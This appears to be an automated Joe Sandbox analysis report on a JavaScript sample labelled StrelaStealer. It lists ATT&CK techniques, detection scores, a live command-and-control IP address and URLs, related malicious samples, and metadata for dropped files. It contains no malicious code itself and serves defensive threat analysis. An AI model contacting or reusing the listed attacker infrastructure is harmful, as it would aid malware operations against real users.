Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
36522792260104347.js	8%	Virustotal		Browse
36522792260104347.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe
http://193.143.1.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.	wscript.exe, 00000000.00000002.1422434790.0000020BAB118000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2719683553.0000022424C14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1499236888.0000022424990000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1490200410.00000276D5A1A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1490200410.00000276D5A42000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1490200410.00000276D59E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/O	net.exe, 00000007.00000002.1490200410.00000276D5A1A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588518
Start date and time:	2025-01-11 01:59:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	36522792260104347.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.233.129.217, 3.219.243.226, 52.22.41.97, 52.6.155.20, 23.209.209.135, 52.149.20.212, 2.16.100.168, 88.221.110.91, 184.28.90.27, 20.3.187.198, 2.16.168.105, 2.16.168.107, 20.242.39.171, 2.23.242.162, 13.95.31.18, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:00:16	API Interceptor	24x Sleep call for process: powershell.exe modified
20:00:20	API Interceptor	1x Sleep call for process: net.exe modified
20:00:21	API Interceptor	2x Sleep call for process: svchost.exe modified
20:00:29	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021736964648575
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAq:RJE+Lfki1GjHwU/+vVhWqpH
MD5:	96A9025AD56C02E119B4662A78CD9CEC
SHA1:	19178F98F227902394AB77E69F11B4BD5D896E72
SHA-256:	FC05D0C5F1C9F36AB3AAA141B178819342A8D83BA44E1A8E74C652EBA74F073F
SHA-512:	686987EED76A642A45EB06BC645FBDA77DB3D9E096E6CF2B5600EFEA16DEA73BFDD364106F9CCCC2D3E809D8A6476FCB76C240D5E0892E90E4F7BE406926FFF6
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2dcae3c4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432232822892491
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:zazaHvxXy2V2UR
MD5:	7E73E553AAC47A20DB6D87C4914AA67F
SHA1:	3FF744DDF3082F11E2D1935CB5D25601C86BCE68
SHA-256:	0675D6247DB915F852A4D7A1A29FB760C36D1453B399DFCA9A9AC9E8E330853F
SHA-512:	5300F8B93C24874A1214BE25247CC35E00A487D9A6E1ABD72977B0C4D1288BBC800669F142106E9BB7A22A82C856699FE9D2973614E7D779B70DAA5EC3E25DC4
Malicious:	false
Preview:	-...... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................Z$2.....}..................?S._.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07893085660983855
Encrypted:	false
SSDEEP:	3:zs/lEYeH+utGsl/nqlFcl1ZUlllliMillGBnX/l/Tj/k7/t:zs6zH6sl/qlFclQ/lvG254
MD5:	7B997EA28CCDCE3BF6927EF2AA0E2310
SHA1:	7817A8F428F0404523AD184825E28E8B15ADD778
SHA-256:	F2C82E92447811B292F1FA12975EFE299FBF40137E10F7302412CA3480443FAD
SHA-512:	F4057E21077F4E9E53CC1930D747E9962AECED57424E7D24CBFF87EDCCF7E050F9A6CCCF8BE0C45C8275B87CAD1C8FAEF893C8DE3B74DAAB5EC5474E0512A85E
Malicious:	false
Preview:	.........................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s.................?S._.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.080704347135259
Encrypted:	false
SSDEEP:	6:iO4qVj3Oq2PCHhJ2nKuAl9OmbnIFUtSqVEVZZmwsqVvH1kwOCHhJ2nKuAl9Ombjd:7nrOvBHAahFUtZkZ/Lf156HAaSJ
MD5:	1DF7AD1FE31D78639A91BB96FC2F8B36
SHA1:	5D1C9BC59EFB02BE9EADE700B1889239AC769027
SHA-256:	2EE46D6CE5A3BE460D49D96F4959E395CC3F737C6181C81A89A471BE09474A54
SHA-512:	DC650F7E26B368AA3AB56EAE73BEA7C84AFC389C5B49A02A1D2631D23B83CAB7E5D7CCD609F19E4B49EB38A67FAEA99DEF7C31ECD6FA3C5801D3E507CFC500B5
Malicious:	false
Preview:	2025/01/10-20:00:21.252 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:00:21.255 b80 Recovering log #3.2025/01/10-20:00:21.256 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.080704347135259
Encrypted:	false
SSDEEP:	6:iO4qVj3Oq2PCHhJ2nKuAl9OmbnIFUtSqVEVZZmwsqVvH1kwOCHhJ2nKuAl9Ombjd:7nrOvBHAahFUtZkZ/Lf156HAaSJ
MD5:	1DF7AD1FE31D78639A91BB96FC2F8B36
SHA1:	5D1C9BC59EFB02BE9EADE700B1889239AC769027
SHA-256:	2EE46D6CE5A3BE460D49D96F4959E395CC3F737C6181C81A89A471BE09474A54
SHA-512:	DC650F7E26B368AA3AB56EAE73BEA7C84AFC389C5B49A02A1D2631D23B83CAB7E5D7CCD609F19E4B49EB38A67FAEA99DEF7C31ECD6FA3C5801D3E507CFC500B5
Malicious:	false
Preview:	2025/01/10-20:00:21.252 b80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:00:21.255 b80 Recovering log #3.2025/01/10-20:00:21.256 b80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.106209290361615
Encrypted:	false
SSDEEP:	6:iO4qVDQqM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqV3ZmwsqVNhpMVkwOCHhJ2nKuA:7nD3M+vBHAa8uFUtZ3/LTpMV56HAa8RJ
MD5:	CD35BE39C2423C371CBA4B4AA054EC13
SHA1:	0DDCB8F0950A56D330AB8CC21ECA5F8B926DFE55
SHA-256:	9D1F65BE192353C16FDA2E240932E81EDA7B24D43740353C493CE37FE65601B3
SHA-512:	C6DF72A1F9C46E514BCE61924F9F179FE5F4CD6591D877CD37E2924E4A6C4AC44481BDE3DF7B823C9A13ECB8D6BF30271C34B8D3A9A32EE568129115AFA0FD65
Malicious:	false
Preview:	2025/01/10-20:00:21.287 bfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:00:21.288 bfc Recovering log #3.2025/01/10-20:00:21.289 bfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.106209290361615
Encrypted:	false
SSDEEP:	6:iO4qVDQqM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqV3ZmwsqVNhpMVkwOCHhJ2nKuA:7nD3M+vBHAa8uFUtZ3/LTpMV56HAa8RJ
MD5:	CD35BE39C2423C371CBA4B4AA054EC13
SHA1:	0DDCB8F0950A56D330AB8CC21ECA5F8B926DFE55
SHA-256:	9D1F65BE192353C16FDA2E240932E81EDA7B24D43740353C493CE37FE65601B3
SHA-512:	C6DF72A1F9C46E514BCE61924F9F179FE5F4CD6591D877CD37E2924E4A6C4AC44481BDE3DF7B823C9A13ECB8D6BF30271C34B8D3A9A32EE568129115AFA0FD65
Malicious:	false
Preview:	2025/01/10-20:00:21.287 bfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:00:21.288 bfc Recovering log #3.2025/01/10-20:00:21.289 bfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\528ad53d-69a3-4919-92a5-abfea6c7c312.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c23ff.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a580d824-6570-458f-8b45-dfcab496fdaa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.948296401514901
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqXnsBdOg2Hwcaq3QYiub6P7E4T3y:Y2sRdsBdMH73QYhbS7nby
MD5:	F808A2CF4E2B21872F0A478E7AD456F0
SHA1:	57E96A6EFA611DD2960B0078D3FBC9801D4A219D
SHA-256:	4B25804BE9F6DD26E8F8DB7B621A98FF000233481501DCD2B4958BBA8B57F62D
SHA-512:	4AE1FEDA8ADC9FBBA7C86636E33FB9E535CD3967729EEF22A48DF9EAE097A031FD2A4BB2F34DA9F4F9C773582765790C2B561AB0BE628D57F8AC98E68D0C980B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117232150212","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":136121},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.240421494769501
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b8ovbnp:S43C4mS7fFi0KFYDjr3LWO3V3aw+b8a9
MD5:	BEAACB978F1F5DF192E21B8161EFB432
SHA1:	865F609441A2D59AE636521CBBBE88507C6A6EA5
SHA-256:	9961907ED208698F933B37C74D6171BC607BB2B4E40AF049B836738C05776520
SHA-512:	A07C01159E1A5E686A7A67F45D85B45DCAC4E66390E35F422B4436FD42D559C30C0EA6CE25CCC8639CE27420D642223B78A433DAB43F333E8B9E6A544AB230B7
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.109971527909864
Encrypted:	false
SSDEEP:	6:iO4qVbM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqV4uZZmwsqVvpMVkwOCHhJ2nKuAl9c:7nbM+vBHAa8jFUtZ4K/LxMV56HAa84J
MD5:	2D9550EF5E314D7CC1AB80F5950B42AD
SHA1:	A7FBC21DB4E6A20B7A6D3EA242739CDD1E942162
SHA-256:	F82981B680B118D26F3085836EB20B09AF1D18E336D5CA5504679CE005CB873A
SHA-512:	67E2317F129D1CD1E027CCC949F3EEB41F741BE7E74E45706D7CCCFC795A90383F93344406251345AA6B1FC0386E29510DBE2EBC5468001D5305A18819330F7D
Malicious:	false
Preview:	2025/01/10-20:00:21.625 bfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:00:21.626 bfc Recovering log #3.2025/01/10-20:00:21.627 bfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.109971527909864
Encrypted:	false
SSDEEP:	6:iO4qVbM+q2PCHhJ2nKuAl9OmbzNMxIFUtSqV4uZZmwsqVvpMVkwOCHhJ2nKuAl9c:7nbM+vBHAa8jFUtZ4K/LxMV56HAa84J
MD5:	2D9550EF5E314D7CC1AB80F5950B42AD
SHA1:	A7FBC21DB4E6A20B7A6D3EA242739CDD1E942162
SHA-256:	F82981B680B118D26F3085836EB20B09AF1D18E336D5CA5504679CE005CB873A
SHA-512:	67E2317F129D1CD1E027CCC949F3EEB41F741BE7E74E45706D7CCCFC795A90383F93344406251345AA6B1FC0386E29510DBE2EBC5468001D5305A18819330F7D
Malicious:	false
Preview:	2025/01/10-20:00:21.625 bfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:00:21.626 bfc Recovering log #3.2025/01/10-20:00:21.627 bfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
